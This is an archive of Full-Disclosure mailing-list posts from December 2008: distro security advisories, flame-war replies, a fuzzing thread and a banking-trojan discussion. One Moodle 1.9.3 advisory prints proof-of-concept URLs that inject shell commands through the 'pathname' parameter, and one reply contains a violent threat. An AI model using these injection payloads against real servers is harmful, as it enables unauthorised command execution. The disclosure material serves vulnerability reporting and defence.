Re: [Full-disclosure] Marcus J. Ranum on PaulDotCom Episode 133
n3td3v tends to stop thinking from the point where others start thinking. This really dont fall in the SCOPE of FD (except its some random news/humor) lets all apologize to Ureleet and stop this thread HERE before he decides its time to litter the post. :) peace ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Marcus J. Ranum on PaulDotCom Episode 133
Every single post you've ever made is nothing more than drivel suited for a blog. The reason you don't setup a blog for your FUD is because you know you'd have 0 visitors, so instead you post to a mailing list. Kudos, I think i'm going to start doing the same. p.s. I'm going to break your legs. On Fri, Dec 12, 2008 at 10:01 PM, n3td3v wrote: > An interesting episode of PaulDotCom Security Weekly where Marcus J. > Ranum talks about Cyber warfare. > > http://media.libsyn.com/media/pauldotcom/pauldotcom-SW-episode133pt1.mp3 > > :) > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [inbox] Re: Marcus J. Ranum on PaulDotCom Episode 133
he's excited because he's mentioned in that episode Exibar -Original Message- From: full-disclosure-boun...@lists.grok.org.uk [mailto:full-disclosure-boun...@lists.grok.org.uk] On Behalf Of valdis.kletni...@vt.edu Sent: Friday, December 12, 2008 11:33 PM To: full-disclosure@lists.grok.org.uk Subject: [inbox] Re: [Full-disclosure] Marcus J. Ranum on PaulDotCom Episode 133 On Sat, 13 Dec 2008 03:01:48 GMT, n3td3v said: > An interesting episode of PaulDotCom Security Weekly This was the same PaulDotCom that you were whining about recently? Let me guess - this episode is even *more* over the top of the same stuff you complained about last time... *yawn* Move along, nothing to see. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Marcus J. Ranum on PaulDotCom Episode 133
On Sat, 13 Dec 2008 03:01:48 GMT, n3td3v said: > An interesting episode of PaulDotCom Security Weekly This was the same PaulDotCom that you were whining about recently? Let me guess - this episode is even *more* over the top of the same stuff you complained about last time... *yawn* Move along, nothing to see. pgp9TXxqX050t.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Marcus J. Ranum on PaulDotCom Episode 133
An interesting episode of PaulDotCom Security Weekly where Marcus J. Ranum talks about Cyber warfare. http://media.libsyn.com/media/pauldotcom/pauldotcom-SW-episode133pt1.mp3 :) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FD subject line/name of org suggestion...
If anyone complains about the internal MSDW libs in the use functions, you can accomplish the same effect with Net::SMTP::Server And Net::SMTP::TLS And some simple edits >-Original Message- >From: Tomas L. Byrnes >Sent: Friday, December 12, 2008 3:25 PM >To: 'n...@virus-l.demon.co.uk'; full-disclosure@lists.grok.org.uk >Subject: RE: [Full-disclosure] FD subject line/name of org suggestion... > >http://www.security-express.com/archives/postfix/2003-02/att-0043/01- >smtp-tee > >Then grep the target maildir for whatever you want. > >;-) > >Quis Custodiet Ipsos Custodes? > > >>-Original Message- >>From: full-disclosure-boun...@lists.grok.org.uk [mailto:full- >disclosure- >>boun...@lists.grok.org.uk] On Behalf Of Nick FitzGerald >>Sent: Friday, December 12, 2008 2:22 PM >>To: full-disclosure@lists.grok.org.uk >>Subject: Re: [Full-disclosure] FD subject line/name of org >suggestion... >> >>Knud Erik Højgaard wrote: >> >>> How do you >read< anything with an SMTP client? >> >>With your preferred file lister in its queue or spool dir. >> >>How do you do it? >> >> >>Regards, >> >>Nick FitzGerald >> >> >>___ >>Full-Disclosure - We believe in it. >>Charter: http://lists.grok.org.uk/full-disclosure-charter.html >>Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FD subject line/name of org suggestion...
http://www.security-express.com/archives/postfix/2003-02/att-0043/01-smtp-tee Then grep the target maildir for whatever you want. ;-) Quis Custodiet Ipsos Custodes? >-Original Message- >From: full-disclosure-boun...@lists.grok.org.uk [mailto:full-disclosure- >boun...@lists.grok.org.uk] On Behalf Of Nick FitzGerald >Sent: Friday, December 12, 2008 2:22 PM >To: full-disclosure@lists.grok.org.uk >Subject: Re: [Full-disclosure] FD subject line/name of org suggestion... > >Knud Erik Højgaard wrote: > >> How do you >read< anything with an SMTP client? > >With your preferred file lister in its queue or spool dir. > >How do you do it? > > >Regards, > >Nick FitzGerald > > >___ >Full-Disclosure - We believe in it. >Charter: http://lists.grok.org.uk/full-disclosure-charter.html >Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ GLSA 200812-13 ] OpenOffice.org: Multiple vulnerabilities
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200812-13 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: OpenOffice.org: Multiple vulnerabilities Date: December 12, 2008 Bugs: #235824, #244995 ID: 200812-13 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis Multiple vulnerabilities in OpenOffice.org might allow for user-assisted execution of arbitrary code or symlink attacks. Background == OpenOffice.org is an open source office productivity suite, including word processing, spreadsheet, presentation, drawing, data charting, formula editing, and file conversion facilities. Affected packages = --- Package/ Vulnerable /Unaffected --- 1 app-office/openoffice < 3.0.0 >= 3.0.0 2 app-office/openoffice-bin < 3.0.0 >= 3.0.0 --- 2 affected packages on all of their supported architectures. --- Description === Two heap-based buffer overflows when processing WMF files (CVE-2008-2237) and EMF files (CVE-2008-2238) were discovered. Dmitry E. Oboukhov also reported an insecure temporary file usage within the senddoc script (CVE-2008-4937). Impact == A remote attacker could entice a user to open a specially crafted document, resulting in the remote execution of arbitrary code. A local attacker could perform symlink attacks to overwrite arbitrary files on the system. Both cases happen with the privileges of the user running the application. Workaround == There is no known workaround at this time. Resolution == All OpenOffice.org users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-office/openoffice-3.0.0" All OpenOffice.org binary users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-office/openoffice-bin-3.0.0" References == [ 1 ] CVE-2008-2237 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2237 [ 2 ] CVE-2008-2238 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2238 [ 3 ] CVE-2008-4937 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4937 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200812-13.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to secur...@gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2008 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 signature.asc Description: OpenPGP digital signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FD subject line/name of org suggestion...
Knud Erik Højgaard wrote: > How do you >read< anything with an SMTP client? With your preferred file lister in its queue or spool dir. How do you do it? Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ GLSA 200812-12 ] Honeyd: Insecure temporary file creation
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200812-12 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Honeyd: Insecure temporary file creation Date: December 12, 2008 Bugs: #237481 ID: 200812-12 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis An insecure temporary file usage has been reported in Honeyd, possibly leading to symlink attacks. Background == Honeyd is a small daemon that creates virtual hosts on a network. Affected packages = --- Package / Vulnerable / Unaffected --- 1 net-analyzer/honeyd < 1.5c-r1 >= 1.5c-r1 Description === Dmitry E. Oboukhov reported an insecure temporary file usage within the "test.sh" script. Impact == A local attacker could perform symlink attacks and overwrite arbitrary files with the privileges of the user running the application. Workaround == There is no known workaround at this time. Resolution == All Honeyd users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-analyzer/honeyd-1.5c-r1" References == [ 1 ] CVE-2008-3928 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3928 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200812-12.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to secur...@gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2008 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 signature.asc Description: OpenPGP digital signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Bruteforcing HTML and browser-sec to find BoF's
Malformed Guy wrote: > There have been a lot of recent IE exploits and talk of "browser-sec" > floating around recently and I thought "Hey, what if you made a script > that actually bruteforced html?" For example a script that spews out > possible combinations of HTML/ASP/JAVASCRIPT/JAVA/SQL/PHP: > > <> > Idea was inspired by the Samy worm: > http://namb.la/popular/tech.html > "To get around this, some browsers will actually interpret "java\nscript" as > "javascript" (that's > javascript)." You're new to this whole scene, right? You don't think that malware authors often, usually or any other way reliably come up with most of the ideas in their code do you? > P.S. Someone tell me this is an awesome idea, else I'll cry like a little > girl. It _is_ a fairly awesome idea. But you'd better start crying anyway bitch as you've just reinvented a (rather limited form of) HTML fuzzing. In various forms, fuzz testing has been around for about 20 years, so I guess it's understandable you'd have missed discovering that this approach has already been discovered... See what Wikipedia has to say about it: http://en.wikipedia.org/wiki/Fuzz_testing and soak up the history from the original (??) fuzz site: http://en.wikipedia.org/wiki/Fuzz_testing Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FD subject line/name of org suggestion...
On Thursday 11 December 2008 23:33:53 - o z - wrote: > even calling Pine a great way to read email...I guess u took that seriously? I know a couple of people that swear by, and not at Pine, for some reason. So if that was supposed to signal a joke, it didn't work. -- Hawaiian Astronomical Society: http://www.hawastsoc.org HAS Deepsky Atlas: http://www.hawastsoc.org/deepsky ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SECURITY] [DSA 1685-1] New uw-imap packages fix multiple vulnerabilities
On Dec 11, 2008, at 10:36 PM, Steffen Joeris wrote: Debian Security Advisory DSA-1685-1 secur...@debian.org http://www.debian.org/security/ Steffen Joeris December 12, 2008 http://www.debian.org/security/faq - Package: uw-imap Vulnerability : buffer overflows, null pointer dereference Problem type : remote Debian-specific: no CVE Id(s) : CVE-2008-5005 CVE-2008-5006 Two vulnerabilities have been found in uw-imap, an IMAP implementation. The Common Vulnerabilities and Exposures project identifies the following problems: This alert is an excellent example of what I've been ranting about, e.g.: Re: [Full-disclosure] [SECURITY] [DSA 1685-1] New uw-imap packages fix multiple vulnerabilities -> 24-25 characters that could have been appended to the end of the subject line instead of the beginning. In a perfect world, the message would read like this, with "[Full- disclosure]" abbreviated to "[FD]": "Re: [FD] New uw-imap packages fix multiple vulnerabilities [SECURITY] [DSA 1685-1]" Oi, I know this makes too much sense, sorry. -oz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Moodle 1.9.3 Remote Code Execution
Moodle 1.9.3 Remote Code Execution
Name Remote Code Execution in Moodle
Systems Affected Moodle 1.9.3 and possibly earlier versions
Severity High
Impact (CVSSv2) High 7.3/10, vector: (AV:N/AC:L/Au:M/C:P/I:P/A:C)
Vendorhttp://moodle.org/
Advisory http://www.ush.it/team/ush/hack-moodle193/moodle193.txt
Authors Antonio "s4tan" Parata (s4tan AT ush DOT it)
Francesco "ascii" Ongaro (ascii AT ush DOT it)
Giovanni "evilaliv3" Pellerano (evilaliv3 AT
digitalbullets DOT org)
Date 20081212
I. BACKGROUND
>From the Moodle web site: "Moodle is a course management system (CMS) -
a free, Open Source software package designed using sound pedagogical
principles, to help educators create effective online learning
communities".
II. DESCRIPTION
A Remote Code Execution exists in Moodle 1.9.3.
III. ANALYSIS
- Remote Code Execution (RCE) in texed.php (pathname parameter)
A Remote Code Execution (RCE) vulnerability has been found in
filter/tex/texed.php. In order to exploit this vulnerability
register_globals must be enabled as the "TeX Notation" filter.
All these conditions reduce the impact of the vulnerability, to remark
this fact we have set "multiple authentication" flag in the cvss2 score).
In texed.php we find the following instructions:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
$cmd = tex_filter_get_cmd($pathname, $texexp);
system($cmd, $status);
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
Where the function "tex_filter_get_cmd", defined in lib.php, is the
following:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
function tex_filter_get_cmd($pathname, $texexp) {
$texexp = escapeshellarg($texexp);
$executable = tex_filter_get_executable(false);
if ((PHP_OS == "WINNT") || (PHP_OS == "WIN32") || (PHP_OS ==
"Windows")) {
$executable = str_replace(' ', '^ ', $executable);
return "$executable ++ -e \"$pathname\" -- $texexp";
} else {
return "\"$executable\" -e \"$pathname\" -- $texexp";
}
}
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
As we can see no check is performed on the "$pathname" parameter neither
in "texed.php" neither in the "tex_filter_get_cmd" function declared in
"lib.php".
Seen this it's possible to exploit this vulnerability to execute
arbitrary commands on the target server. The following urls are proof
of concept for Linux and Windows:
On Linux:
http://www.example.com/moodle/filter/tex/texed.php?formdata=foo&pathname=foo";ls+-l;echo+";
On Windows:
http://www.example.com/moodle/filter/tex/texed.php?formdata=foo&pathname=foo"+||+dir+||+echo+
This RCE is "blind". You'll never see the list dir of the example
because there is no print of the system command output.
IV. DETECTION
Moodle 1.9.3 and possibly earlier versions are vulnerable.
V. WORKAROUND
Proper input validation will fix the vulnerabilities. Actually the
vulnerability is fixed in the Dev tree.
Upgrade to latest development version.
VI. VENDOR RESPONSE
Vendor will not release a new version addressing this vulnerability
since moodle has several different issues with register globals and
the vendor decided to resolve them in a different way for the upcoming
versions.
"At present we are working on changes that will prevent installation when
register globals on. They should be committed later this week. I suppose
we are not going to release 1.9.4 now because register globals issue is
a know problem already."
VII. CVE INFORMATION
No CVE at this time.
VIII. DISCLOSURE TIMELINE
20080121 Bug discovered
2008 Initial vendor contact (No Response)
20081811 Second vendor contact (No Response)
20081811 Vendor response
20081212 Advisory released (Fix available only in dev tree)
IX. CREDIT
Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
"evilaliv3" Pellerano are credited with the discovery of this
vulnerability.
Antonio "s4tan" Parata
web site: http://www.ictsc.it/
mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
Francesco "ascii" Ongaro
web site: http://www.ush.it/
mail: ascii AT ush DOT it
Giovanni "evilaliv3" Pellerano
mail: evilaliv3 AT digitalbullets DOT it
X. LEGAL NOTICES
Copyright (c) 2008 Francesco "ascii" Ongaro
Permission is granted for the redistribution of this alert
electronically. It may not be e
Re: [Full-disclosure] Jobless techies turning to crime
On Fri, 12 Dec 2008 02:53:39 +0200, James Matthews said: > These people have skills that can be used for good or bad. Everyone has to > eat and i feel that these people should look into starting a new company or > creating a website and blogging about there former workplace. Blogs are not edible. You want to eat, blogging probably won't cut it. Sure, looking at starting a new company *may* be an option for *some* of these people, but those are the ones that would already have been called "flight risks" at their previous company. The situation is at least somewhat similar to the .com bubble burst a few years back - a *lot* of techies found themselves unemployed, and the same exact market forces that made them unemployed also meant that starting a new venture will be difficult. What do you use for start-up capital? Where does the money for your groceries come from while you wait for your new business to start generating revenue? And what are you using as a revenue stream (in other words, what are you selling that people want to buy)? These are the sort of things that are tough enough in a growing market segment, and damned near impossible when it's shrinking. pgp20eeLnKlaP.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FD subject line/name of org suggestion...
Knud Erik Højgaard wrote: On Thu, Dec 11, 2008 at 9:28 PM, - o z - . wrote: I don't want to read it with Lynx, either. I've got some damn good SMTP clients, like Pine v.01a, OK? How do you >read< anything with an SMTP client? tcpdump? -Luke smime.p7s Description: S/MIME Cryptographic Signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Bruteforcing HTML and browser-sec to find BoF's
Hello, fellow F.D readers, There have been a lot of recent IE exploits and talk of "browser-sec" floating around recently and I thought "Hey, what if you made a script that actually bruteforced html?" For example a script that spews out possible combinations of HTML/ASP/JAVASCRIPT/JAVA/SQL/PHP: might not neccessarily cause anything to happen, let alone are they valid tags, but by bruteforcing, it could cause currently unknown vulnerabilities to appear to the security auditor. This could result in the browser to run into buffer overflow or a similar crash. When a crash is found, the program edits the file and slowly takes note of the current file, and proceeds to delete part of the file till there are no more crashes. For example: would now become http://namb.la/popular/tech.html "To get around this, some browsers will actually interpret "java\nscript" as "javascript" (that's javascript)." Yours faithfully, Malformation P.S. Someone tell me this is an awesome idea, else I'll cry like a little girl. _ It's simple! Sell your car for just $40 at CarPoint.com.au http://a.ninemsn.com.au/b.aspx?URL=http%3A%2F%2Fsecure%2Dau%2Eimrworldwide%2Ecom%2Fcgi%2Dbin%2Fa%2Fci%5F450304%2Fet%5F2%2Fcg%5F801459%2Fpi%5F1004813%2Fai%5F859641&_t=762955845&_r=tig_OCT07&_m=EXT___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [SECURITY] [DSA 1685-1] New uw-imap packages fix multiple vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - Debian Security Advisory DSA-1685-1 secur...@debian.org http://www.debian.org/security/ Steffen Joeris December 12, 2008 http://www.debian.org/security/faq - Package: uw-imap Vulnerability : buffer overflows, null pointer dereference Problem type : remote Debian-specific: no CVE Id(s) : CVE-2008-5005 CVE-2008-5006 Two vulnerabilities have been found in uw-imap, an IMAP implementation. The Common Vulnerabilities and Exposures project identifies the following problems: It was discovered that several buffer overflows can be triggered via a long folder extension argument to the tmail or dmail program. This could lead to arbitrary code execution (CVE-2008-5005). It was discovered that a NULL pointer dereference could be triggered by a malicious response to the QUIT command leading to a denial of service (CVE-2008-5006). For the stable distribution (etch), these problems have been fixed in version 2002edebian1-13.1+etch1. For the unstable distribution (sid) and the testing distribution (lenny), these problems have been fixed in version 2007d~dfsg-1. We recommend that you upgrade your uw-imap packages. Upgrade instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 4.0 alias etch - --- Source archives: http://security.debian.org/pool/updates/main/u/uw-imap/uw-imap_2002edebian1.orig.tar.gz Size/MD5 checksum: 1517069 8ff277e7831326988d0ee0bfeca7c8ff http://security.debian.org/pool/updates/main/u/uw-imap/uw-imap_2002edebian1-13.1+etch1.dsc Size/MD5 checksum: 874 ac3703de07e1cf10e7aa72a10a5fb20b http://security.debian.org/pool/updates/main/u/uw-imap/uw-imap_2002edebian1-13.1+etch1.diff.gz Size/MD5 checksum:99906 6c0172a213d199583e0d6c1dc5957a20 Architecture independent packages: http://security.debian.org/pool/updates/main/u/uw-imap/ipopd-ssl_2002edebian1-13.1+etch1_all.deb Size/MD5 checksum:20760 b418a43ee29d858752497a83897588c9 http://security.debian.org/pool/updates/main/u/uw-imap/uw-imapd-ssl_2002edebian1-13.1+etch1_all.deb Size/MD5 checksum:20756 4381ee8fe7865bc2fbf4f83f44ddd0e3 alpha architecture (DEC Alpha) http://security.debian.org/pool/updates/main/u/uw-imap/uw-mailutils_2002edebian1-13.1+etch1_alpha.deb Size/MD5 checksum:50618 972cf2d773feb8547ba6cc0bd933dbea http://security.debian.org/pool/updates/main/u/uw-imap/libc-client2002edebian_2002edebian1-13.1+etch1_alpha.deb Size/MD5 checksum: 650718 1d084bff43e5efde07706f8b54134625 http://security.debian.org/pool/updates/main/u/uw-imap/ipopd_2002edebian1-13.1+etch1_alpha.deb Size/MD5 checksum:47364 d1550ecb166961b3dd7c948fd7333e18 http://security.debian.org/pool/updates/main/u/uw-imap/mlock_2002edebian1-13.1+etch1_alpha.deb Size/MD5 checksum:26688 9a2ed6fd202bd4b7dfbd555170664979 http://security.debian.org/pool/updates/main/u/uw-imap/uw-imapd_2002edebian1-13.1+etch1_alpha.deb Size/MD5 checksum:80168 d26aa9867204cbc27107bc0eb046649a http://security.debian.org/pool/updates/main/u/uw-imap/libc-client-dev_2002edebian1-13.1+etch1_alpha.deb Size/MD5 checksum: 1196482 41dba8f6a0cc1b7c602060ddf3dae58c amd64 architecture (AMD x86_64 (AMD64)) http://security.debian.org/pool/updates/main/u/uw-imap/libc-client-dev_2002edebian1-13.1+etch1_amd64.deb Size/MD5 checksum: 1040748 89a2bb86ee48bbc3ce0ce6ac06736e5d http://security.debian.org/pool/updates/main/u/uw-imap/uw-imapd_2002edebian1-13.1+etch1_amd64.deb Size/MD5 checksum:76348 e2506d3191e383e511b73851f7b2403d http://security.debian.org/pool/updates/main/u/uw-imap/uw-mailutils_2002edebian1-13.1+etch1_amd64.deb Size/MD5 checksum:50416 9db96b845240094cb130050463e5b8da http://security.debian.org/pool/updates/main/u/uw-imap/libc-client2002edebian_2002edebian1-13.1+etch1_amd64.deb Size/MD5 checksum: 606040 458cf8d820a650978eed89b234c2d018 http://security.debian.org/pool/updates/main/u/uw-imap/ipopd_2002edebian1-13.1+etch1_amd64.deb Size/MD5 checksum:46470 a6f2e3922fdd861d7209635ffc03b35b http://security.debian.org/pool/updates/main/u/uw-imap/mlock_2002edebian1-13.1+etch1_amd64.deb Size/MD5 checksum:26394 847986887b14d0a038057478d2b30872 arm architecture (ARM) http://security.debian.org/pool/updates/main/u/uw-imap/uw-mailutils_2002edebia
Re: [Full-disclosure] 21 Million German bank accounts stolen - but accounts are still more secure than many other ones
Hey Martin! Yep, in case of such card readers, it's safe and secure...for now, until the bad guys think of something more sophisticated like Simon described earlier this morning. Unfortunatelly in our district we haven't seen anything alike for now - only plain smart-cards, but I hope we'll see this in the near future. :) What concerns SMS autentification and payment confirms - in our district the system is being still tested on authentification, no payment confirms are available. But you know the story...first cases we'll see in our small Estonia - and our banks will difently start thinking on this. Regards, vik -Original Message- From: Martin Salfer [mailto:m...@soif.de] Sent: Friday, December 12, 2008 12:12 PM To: full-disclosure@lists.grok.org.uk Cc: viktor.lario...@salva.ee Subject: Re: [Full-disclosure] 21 Million German bank accounts stolen - but accounts are still more secure than many other ones -BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Dear vik, Nice to see that people from all over the world read and answer full-disclosure. :-) Yes, you're right. Those trojans that log and intercept data on the fly are really a pain for most online banking customers. Fortunately some banks are already technically prepared to resist those trojans. Some banks already demand a class 3 smart card reader, which means the reader itself must be equipped with a separate display and keyboard. (costing roughly 100 € in total). Such devices look alike the credit card machines at a checkout. The amount of every single transaction must be displayed and acknowledged on the separate card reader, which has its own OS/firmware. This means, any PC trojan would completely fail intercepting, as any alteration would be visible on the display or would invalidate the RSA signature. A successful trojan would need to breach two security zones: the PC OS plus the super hardened card reader OS. The crucial point is to use separate smart card readers that have an own OS/firmware. (not Windows for sure) Fancy card readers, aren't they? ;-) Best regards, Martin Salfer Viktor Larionov wrote: > Dear Martin of good old Germany, > > You are absolutely correct on the poor security and other things...but you > actually should keep in mind, that US internet banking, as far as I am > concerned by the amount and complexity of operations is way behind Germany > and Europe in general. > In example, US residents, correct me if I'm wrong, it's not every bank in US > where you can make a wire transfer, or apply for a mortrage all online. > > That's one side of the coin - another side of it, is banking trojans - as > like Torpig, Apophis - keeping theese trojans techniques in mind, there's > actually no smart card, one-time password, RSA to help you. > > And if you have a list of Deutsche bank clients, modifying Torpig a bit for > Deutsche bank and blasting this thing out to the clients is good start > point - at least from my point of view. > > And I'm not even talking about personal privacy and etc. aspects. > There's surely more than one way to use this data. > > Kindest regards, > vik > from poor young Estonia :) > > P.S. > > By baking trojans, I meant trojans injecting additional payment information > into your bank transfers - e.g. you make 5 payments, but the trojan makes > also the sixth one, still browser with the help of a trojan displays you > only 5 of them. > You press accept - and you'r done. Correct me if I'm wrong, but I somehow > remember that Torpig was one of the bad things doing such tricks - as I > already said, forget about RSA or one-time passwords in theese cases :))) > > Still there are very successfull strategies used by banks to fight this - > mostly based on social analysis of your behavement, but that's another > story. -BEGIN PGP SIGNATURE- iD8DBQFJQjkCy4+E3T5McJsRA31AAJ9qb9SxszRcNK1igUP++D9eJub9+wCfR4WS AUgbWdcxZncL+RtEnT3H36Y= =4s/o -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] 21 Million German bank accounts stolen - but accounts are still more secure than many other ones
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Dear vik, Nice to see that people from all over the world read and answer full-disclosure. :-) Yes, you're right. Those trojans that log and intercept data on the fly are really a pain for most online banking customers. Fortunately some banks are already technically prepared to resist those trojans. Some banks already demand a class 3 smart card reader, which means the reader itself must be equipped with a separate display and keyboard. (costing roughly 100 € in total). Such devices look alike the credit card machines at a checkout. The amount of every single transaction must be displayed and acknowledged on the separate card reader, which has its own OS/firmware. This means, any PC trojan would completely fail intercepting, as any alteration would be visible on the display or would invalidate the RSA signature. A successful trojan would need to breach two security zones: the PC OS plus the super hardened card reader OS. The crucial point is to use separate smart card readers that have an own OS/firmware. (not Windows for sure) Fancy card readers, aren't they? ;-) Best regards, Martin Salfer Viktor Larionov wrote: > Dear Martin of good old Germany, > > You are absolutely correct on the poor security and other things...but you > actually should keep in mind, that US internet banking, as far as I am > concerned by the amount and complexity of operations is way behind Germany > and Europe in general. > In example, US residents, correct me if I'm wrong, it's not every bank in US > where you can make a wire transfer, or apply for a mortrage all online. > > That's one side of the coin - another side of it, is banking trojans - as > like Torpig, Apophis - keeping theese trojans techniques in mind, there's > actually no smart card, one-time password, RSA to help you. > > And if you have a list of Deutsche bank clients, modifying Torpig a bit for > Deutsche bank and blasting this thing out to the clients is good start > point - at least from my point of view. > > And I'm not even talking about personal privacy and etc. aspects. > There's surely more than one way to use this data. > > Kindest regards, > vik > from poor young Estonia :) > > P.S. > > By baking trojans, I meant trojans injecting additional payment information > into your bank transfers - e.g. you make 5 payments, but the trojan makes > also the sixth one, still browser with the help of a trojan displays you > only 5 of them. > You press accept - and you'r done. Correct me if I'm wrong, but I somehow > remember that Torpig was one of the bad things doing such tricks - as I > already said, forget about RSA or one-time passwords in theese cases :))) > > Still there are very successfull strategies used by banks to fight this - > mostly based on social analysis of your behavement, but that's another > story. -BEGIN PGP SIGNATURE- iD8DBQFJQjkCy4+E3T5McJsRA31AAJ9qb9SxszRcNK1igUP++D9eJub9+wCfR4WS AUgbWdcxZncL+RtEnT3H36Y= =4s/o -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FW: 21 Million German bank accounts stolen - but accounts are still more secure than many other ones
